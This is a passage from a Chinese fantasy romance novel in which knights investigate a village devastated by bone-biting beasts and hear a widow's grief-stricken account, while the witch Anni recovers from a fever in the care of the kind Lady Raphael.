声音清脆响亮,带着光彩夺目的自信,在这寂静的荒野上远远传开,每一个字都掷地有声,让在场的人都忍不住看向她。
回想起刚刚在接风宴会上,巴那介绍自己女儿时,只是简答的说:“这是他的宝贝女儿塞莉”,那时的她,低垂着眼帘,脸上泛起一抹羞涩的红晕,只是腼腆地笑了笑,安静得如同深闺中的少女。
跟眼前这个梳着高马尾的塞莉,散发着强大的气场,威风凛凛又大气,完全判若两人。
波利靠近加斯贝德,用胳膊怼了一下他,小声地说:“挺漂亮的,比刚刚在宴会上的样子漂亮多了。”
加斯贝德没有理他,直接驱马走到了塞莉旁边:“那就辛苦你了,奇德团长,如果有什么重要线索请及时与我分享。”
塞莉脸红了一下,眼神里闪着明亮的光芒,笑了起来:“好的,加斯贝德大人,叫我塞莉就行了。”
……
12. 第十二章
地图上,密尔村在巴达尔城的右上方,是个不大不小的村子。
他们这一路并没有像之前一样遇到咬骨兽,行程过程出乎意料的顺利,鹰角一直在上方跟随大部队,时而冲到最前面探路,时而低空盘旋,警惕观察着周围,时而飞下来,精准的落在加斯贝德的肩上,收起宽大的翅膀,稳稳地站在那里。
加斯贝德轻轻抚摸着鹰角的羽毛,在外人看来,这一人一鸟之间,仿佛有着一种无声的默契,无需言语交流,便能心领神会。
但其实,鹰角会在他耳边通过外人听不到的声音汇报四周的情况,当然也有调侃关于安霓的事情。
“那个魔女不知道过得怎么样,会不会也要勒死拉斐尔伯爵。”
加斯贝德轻轻笑了一下:“对手是拉斐尔的话,她就必须要改变策略了。”
“你这么关注她,为什么不救她,我觉得她挺有意思的。”
“……”加斯贝德垂下眼,没有接话。
因为什么呢,加斯贝德也在思考,可能是心里还是有恨意,每每想起火光里安霓冷漠疏离的脸,心里就疼的难受。
在船上看到她时很吃惊,他以为她会过的很好,她本就是离开谁都能过的很好的人,可看到她的脸被阿黛尔·兰伯特打到泛红时,他还是很难受,可是心里复杂的恨意滋长,盖过了这个难受。
心里虽然恨,但是行为上又下意识地去关注,加斯贝德自己也很讨厌这样的自己。
“加斯贝德,你怎么不说话?”鹰角没眼力见的催着。
“……”
“加斯贝德!”
“……你太小瞧她了。”
“是吗?她之前还趴在那个兰伯特长子怀里哭呢。”
加斯贝德握着缰绳的手紧了一下,身下的马感应到了,随即放慢了速度。
波利见状,紧张的问道:“加斯贝德,怎么了,有什么情况吗?”
“没有。”加斯贝德臭着脸,眼神冰冷。
“加斯贝德大人跟鹰的关系真好。”塞莉骑在马上,看着加斯贝德与鹰角亲密互动的场景,眼中流露出一丝羡慕。
“也没有很好,有的时候也挺想杀了它。”
鹰角似乎很不服气,原本乖乖伏在加斯贝德肩上的它,突然展开那双宽阔有力的翅膀,动作十分利落,“呼”地一下就从加斯贝德肩上飞走了。
边飞边发出一连串尖锐的叫声,好像骂的很难听。
“加斯贝德大人的鹰是怎么驯的,能告诉我吗?”塞莉靠近加斯贝德,露出温柔阳光的笑脸。
“……它不是鹰,是一种类似鹰的妖兽。”
塞莉很吃惊,抬头看了看盘旋上空的鹰角,眼睛睁得大大的,充满了好奇和崇拜:“哇!好厉害!”
波利看着她微微泛红的脸颊和少女的好奇,小声的在加斯贝德旁边感叹:“她怎么跟天使一样,太可爱了。”
加斯贝德明显心不在焉,半垂着眼皮,目不转睛地看着前面。
到密尔村时,天已经蒙蒙亮了。
天边泛起了一抹淡淡的鱼肚白,柔和朦胧,缓慢的蔓延开来,大漠里的村落越来越清晰。
但映入眼帘的先是被破坏的房屋,散落的泥砖到处都是,像是被什么巨大的东西入侵后肆意破坏导致的,甚至有的房屋只剩下几堵孤零零的土墙。
情况很不妙啊,大家都绷紧了神经。
在大漠里的村庄,内部的布局都会比较紧凑,一是为了防御,出现外敌时相互支援,二是为了共享有限的资源,比如水源。
房屋之间挨的很近,这样既能在炎热的白天阻挡阳光直射,减少热量进入屋内,又能抵抗夜晚的降温和剧烈的风沙。
可是目前的情况看,大面积被破坏的房屋,断壁残垣连绵不绝,说明受害者的数量远比信里汇报的多得多。
加斯贝德和波利从马上下来,地上一片一片的血迹泛黑,已经被沙子盖住,还有几串被拖延的血迹,直直地向远方延申,甚至还有挣扎的红手印。
波利掏出血液检测盒子,蹲下身把盒子放在脚下的血迹处,嘴里念了个咒,盖子上面的进度条重新出现,开始工作。
一旁的塞莉神情紧张的看着眼前的一切,她派出去的几支骑士团队伍可能也在这里遇难了,所以才一直没有回来。
在往前走,就是村庄的中心广场,用于集会、交易和举行重要仪式,而此时此刻也是满地拖曳的血迹。
“你们……你们是骑士团吗?”
一个黝黑精瘦的小男孩从旁边黑暗的巷子里警惕的探出头,那双黑白分明的大眼睛来回打量着他们。
“跟你们穿一样衣服的人都已经死了,我以为你们不会再来了……”
塞莉走过去蹲下身,轻轻的摸了一下他的头,笑道:“别害怕,我们不会放弃你们的。”
“姐姐有点事情想问一下你……”
男孩突然惊恐起来,捂住脑袋,眼睛瞪大开始自言自语:“……没了!全都没了!它们吃了好多人……都是她的错都是她的错!”
说完甩开了塞莉的手,往巷子深处跑去。
“你等等!”塞莉也跟着跑了进去。
穿过黑暗的巷子,男孩急促的脚步声在狭窄的通道里回荡,他慌不择路地向左转跑进了一间完整的房子里,就在他踏入门槛的瞬间,从屋内出来了一个女人。
女人原本焦急的神情在看到男孩的那一刻瞬间凝固,紧接着眼中满是心疼与后怕,她几乎是本能地立马抱住男孩,双手紧紧地环着他,轻轻拍着他的后背安抚。
女人看到追过来的骑士团,并没有任何看到希望的神色,空洞绝望的看着他们:“你们还愿意来啊……我以为……”
“我们是星迁会总会的月影骑士团,我是团长加斯贝德,抱歉打扰你们了,”加斯贝德上前一步,微微欠了一下身,“夫人,能向你了解一下具体情况吗?”
女人迟疑了一下,向侧面退了一步:“……请进吧。”
屋内还有一个年纪很小的女孩子,躲在凳子后面好奇的看着来访者们。
塞莉上前,温和的和她打招呼。
“我们今天就要离开了……所以没有什么吃的可以招待你们。”女人说道。
“不用麻烦,我们只是想了解一下情况。”加斯贝德环视了一下屋内,“你知道这个村里还有多少人活着吗?”
“……除了我们,伊利斯一家昨天就已经离开了,琼加利一家前天走的,”女人坐在凳子上,抱住了自己的小女儿,“也不知道还活着没有……”
“他们……他们逃不出去的!周围全是妖怪!他们逃不出去的!”
蹲在旁边的男孩突然开始绝望的大叫,在这压抑的氛围中显得格外惊悚。
女人原本还强撑着的理智,在听到男孩这话的瞬间,彻底崩塌,泪水不受控制地涌出。
女儿在母亲的怀里,感受到了母亲身体的颤抖和那近乎绝望的情绪,小脸也吓得煞白,眼眶里蓄满了泪水,却因为太过害怕而不敢哭出声来,只是紧紧地揪着母亲的衣角,身体微微颤抖。
“夫人,我们就是来解决这件事的,我是巴达尔城沙漠鹰骑士团团长塞莉·奇德,有我们在,你们不会有事的。”
“有什么用!”女人抬起头,满腔愤恨的看着想振奋人心的塞莉,“你们骑士团来了一波又一波人有什么用!”
“连个咬骨兽都解决不了,你们来再多人有什么用!”
“你们都是废物!都是废物!”
“我丈夫就是为了救你们才被拖走的!你们也没给个说法!”
女人哭的声音越来越大:“他的上半身都要被咬断了,那些畜生还是要把他拖走!”
屋里只有凄厉沙哑的哭声,大家都沉默不语。
男孩呆呆地坐在角落里,眼神空洞无神,刚刚女人描述的场景不断在他脑海中回放,他的嘴唇微微颤抖,却一句话也说不出来。
绝望发泄出来后,女人努力平复着情绪,渐渐收住了哭声。
加斯贝德上前,放低了声音问道:“来之前,我们听到你家孩子说什么都是她的错,这是怎么回事?”
……
安霓睁开眼,感觉到脑袋沉重,全身乏力。
“夫人,她醒了!”旁边有个女人叫了起来。
突然一双冰凉的手拂上了她的额头,安霓一个激灵突然坐了起来,但是因为身体没什么力气,又沉沉的倒了下去。
“你躺着别动,身体还没好呢。”一个温柔的声音在她耳边响起,她抬起眼,看到了一个披着貂皮的女人正温柔的看着她。
安霓想起来了,在她晕倒前,这个女人和旁边的女仆给她撑了伞。
安霓呆呆地望着她,嘴里不自觉地说了一句:“好漂亮……”
真的好漂亮……白皙的脸上挂着些许小皱纹,精致大气的五官
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,橙色的头发,蓝色的眼睛温柔深沉,岁月不但没有侵蚀掉她的魅力,反而赋予了她一种别样的韵味。
“这位是拉斐尔夫人。”她旁边站着的女仆介绍道。
她比安其拉穿的更好也更精致华丽,安霓猜想她应该是拉斐尔夫人的贴身女仆。
“我叫伽洛。”女仆又笑嘻嘻的介绍着自己。
“你就是安霓。”拉斐尔夫人轻轻的摸了一下她的额头,说道,“已经没有之前那么热了,以后可不要再淋雨了。”
安霓的脑子还在宕机中:“好……”
“如果雨下大了,就找个地方躲起来。”
“好……”
“一定要好好爱惜自己啊。”
“好……”
伽洛摸了摸安霓黑色的长发,又弯腰看了看她的脸,表情开始兴奋起来。
“夫人,我已经好久没见到魔女了!你看她的眼睛!”
拉斐尔夫人也低头看着安霓,笑了起来:“是啊,她的眼睛真的很漂亮很特别。”
安霓觉得面前这个温柔的夫人有一种神奇的吸引力,而且也不知道为什么,总感觉如果在这个夫人身边,应该是温暖的。
哦对了,上一个这么温柔看着她的是诺瓦。
也不知道他怎么样了……
一颗豆大的泪水从她的眼角滑落在了枕头上,晕出一片阴影。
安霓看着天花板眨着眼,任由眼泪一颗接着一颗往外趟,她从被窝里伸出手,摸了一下自己湿润的眼角。
这是怎么了……安霓疑惑。
“怎么哭了?”拉斐尔夫人坐在床头,轻轻的挽住她的脑袋,安慰着,“淋了场雨而已,已经没事了。”
“还是说,你有哪里不舒服?”伽洛也在旁边问着,然后起身准备继续去找医生。
安霓想起来她之前在亚特·兰伯特那里,有几次受了很严重的伤,后来因为伤口导致发了高烧,一个人躺在床上望着黑暗,从鼻腔里传出的空气都是滚烫的,只有隔壁珍珠传过来的声音安抚着她,她很有意思,还给安霓讲故事书里的内容,那些明明都是小朋友才读的内容。
故事里也有一个魔女,不过是人人称颂的好魔女,魔女身旁有个骑士一直在守在她身边,不过结局不太好,为了人类幸福牺牲了自己,那个骑士也离开了。
安霓不喜欢这个故事的结局,这本书怎么可以对小朋友灌输这种念头,怎么可以随随便便就牺牲掉自己,明明就应该为了自己的一切而努力啊。
珍珠跟这个夫人一样,声音清脆又温柔,等以后跟她正式见面了,一定要好好摸一下她的黑色长发。
不过自己还是很幸运的,不管在哪里,都有好人,还都能让自己遇到。
想着想,安霓睡了过去。
第二天清晨,安霓听到了有人开窗的声音,随后一股清新的泥土香灌入鼻中,那股香气混合着青草与雨水的气息,瞬间驱散了她残留的困意。
她睁开眼睛,发现拉斐尔夫人正坐在床边的椅子上看着她,她心中一惊,立马坐了起来,圈起腿往后靠。
安霓面带警惕的笑了笑,泛着鼻音问道:“夫人有喜欢看人睡觉的习惯吗?”
拉斐尔夫人并没有因为安霓的阴阳怪气而展现出不悦,她慢慢的靠了上去,伸手摸了一下安霓的额头。
安霓像个小动物一样下意识地往后缩了一下,背后的手握紧了枕头的一角,想着有什么情况就把枕头扔过去。
“我们也刚来,房间里有点闷就让伽洛开了窗,外面空气很好。”
“你已经退烧了,不过也要好好休息。”
看着眼前这个夫人,一阵微风穿窗而过,微微吹起她脸颊两侧留下来的棕橘色头发,那发丝轻盈舞动,在晨光中泛着柔和的光泽,让拉斐尔夫人看上去愈发优雅且具有亲和力。不知为何,安霓原本高悬着的心竟在此刻渐渐有了些许松动。
背后的手慢慢松开了枕头。
这时,安其拉推着餐车和新鲜的花推门而入。
她沉默的看了看眼前的三个人,目光平静如水,没有丝毫多余的情绪。
随后,她径直走向放置鲜花的地方,拿起昨天的花,动作娴熟地把新鲜的紫色花插在了花瓶里,然后又把餐车里的餐盘一个个摆在了桌子上。
离开之前,她回头看着安霓,声音平淡地说道:
“拉斐尔大人让你去花园。”
……